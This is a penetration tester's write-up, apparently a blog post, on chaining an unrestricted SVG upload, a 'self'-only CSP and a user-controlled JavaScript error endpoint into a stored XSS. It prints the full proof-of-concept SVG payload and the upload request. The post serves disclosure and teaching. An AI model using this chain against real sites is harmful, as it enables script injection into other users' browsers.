
Not usual CSP bypass case
by Karol Mazurek
INTRODUCTION
During one of the penetration tests, I managed to chain three application issues that finally enabled the execution of the Stored XSS vulnerability.
The vulnerability combines three flaws in the application:
- Unrestricted file upload.
- Misconfigured Content Security Policy.
- Application error response body controlled by the user.
1. UNRESTRICTED FILE UPLOAD
The application allows users to upload images, and there is a whitelist of extensions that can be uploaded (.png | .jpg). All uploaded files are stored in the web-root folder of the server. For instance:
- https://example.com/74d673a21b5f5d54cbc22fc3b24bcb5e.iix
The first issue is that it is possible to specify the uploaded file's content type, even if the extension in the request is (.png | .jpg).
The trick is to use a part of a JPG file at the bottom of the content:
ÿØÿàJFIFÿáVExifMM*>F(ÿâ°ICC_PROFILE lcms0mntrRGB XYZ
One thing to keep in mind, that casually the SVG file content starts with:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
In this case, the first line has to be ommit, to not throw the XML exception error because of the JPG content at the bottom of the content body.
This way, it is possible to upload SVG files to the server.
Source: Own study — The example part of the uploading request to exploit XSS through SVG upload.
Source: Own study — The example of a server response.
The file is stored with the changed extension to the .iix, but the SVG content type persists.
SVG files are problematic due to the possibility of JavaScript code injection.
2. MISCONFIGURED CSP
The JavaScript code included in the uploaded SVG file cannot be executed because an implemented CSP does not allow the unsafe inline script to execute.
Source: Own study — Content Security Policy (CSP) implemented in the application.
To analyze the possible bypasses of a CSP, you can use CSP Evaluator:
Source: Own study — Analyze of the Content Security Policy (CSP) using CSP Evaluator.
As seen above, it is possible to bypass the CSP and execute the JavaScript code that already exists in the application (default-src ‘self’).
One way of bypassing that kind of CSP is uploading the JS file with custom code and the including the URL in the <script> tag in the “src” attribute.
This is not the case since the application blocks files with a .js extension and it is impossible to use content-type: text/javascript in the upload request.
Although, it is possible to use the code already existing in the application.
3. SERVER ERROR CONTROLLED BY THE USER
The application allows the users to change the error message.
A request sent to the /uxasset/externals/ endpoint with a .jsdbx extension results in error displayed by the server to the end user.
Source: Own study — The server response after visiting the https://example.com/uxasset/externals/WHATEVER.jsdbx
- The endpoint stores JavaScript — this is indicated by the Content-type header, which is set to text/javascript.
- The user's path in the URL (WHATEVER) is returned in the server response body content.
This configuration allows the user to inject custom JavaScript code.
https://example.com/uxasset/externals/service-workerlct5v'-alert(document.domain)-'ddrss/loader.jsdbx
Source: Own study — The example of a server response.
It allows the URL to be included in the <script> tag in the "src" attribute. Consequently, the user can bypass CSP with the default-src 'self'.
COMBINING THE PIECES — POC
The above-mentioned flaws could be joined to exploit the Stored XSS.
1. Prepare the SVG file, which includes the custom error in its body.
- The example of SVG content with a CSP bypass using the custom error:
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <polygon id="triangle" points="0,0 0,0 0,0" stroke="#004400" /> <script href="https://example.com/uxasset/externals/service-workerlct5v'-alert(document.do main)-'ddrss/loader.jsdbx" /> </svg>
One thing to keep in mind, that to use external JavaScript in the SVG content, you have to use <script href="…"> not a <script src="…">!!!
2. Upload the SVG file using UNRESTRICTED FILE UPLOAD
The example POST request:
POST /upload.do HTTP/1.1 Host: example.com Content-Length: 1503 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIG0dr3B8jyshfcYq Accept: application/json, text/plain, */* Connection: close ------WebKitFormBoundaryIG0dr3B8jyshfcYq Content-Disposition: form-data; name="attachments_modified" true ------WebKitFormBoundaryIG0dr3B8jyshfcYq Content-Disposition: form-data; name="attachFile"; filename="xss.jpg" Content-Type: image/svg+xml <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <polygon id="triangle" points="0,0 0,0 0,0" stroke="#004400" /> <script href="https://example.com/uxasset/externals/service-workerlct5v'-alert(document.do main)-'ddrss/loader.jsdbx" /> </svg> ------WebKitFormBoundaryIG0dr3B8jyshfcYq--
The example server response:
HTTP/1.1 200 OK
{ "thumbnail":"74d673a21b5f5d54cbc22fc3b24bcb5e.iix", "size_bytes":"461 B", "content_type":"image/svg+xml" }
3. Trigger the Stored Cross-Site Scripting with the CSP bypass.
Visit the https://example.com/74d673a21b5f5d54cbc22fc3b24bcb5e.iix
HTTP/1.1 200 OK Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; style-src 'self' 'unsafe-inline' Content-Type: image/svg+xml;charset=UTF-8 Content-Length: 461 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <polygon id="triangle" points="0,0 0,0 0,0" stroke="#004400" /> <script href="https://example.com/uxasset/externals/service-workerlct5v'-alert(document.do main)-'ddrss/loader.jsdbx" /> </svg>![]()
Source: Own study — Execution of the injected JavaScript in the context of the victim’s browser.
Originally published at: https://karol-mazurek95.medium.com/not-usual-csp-bypass-case-b538263e09d6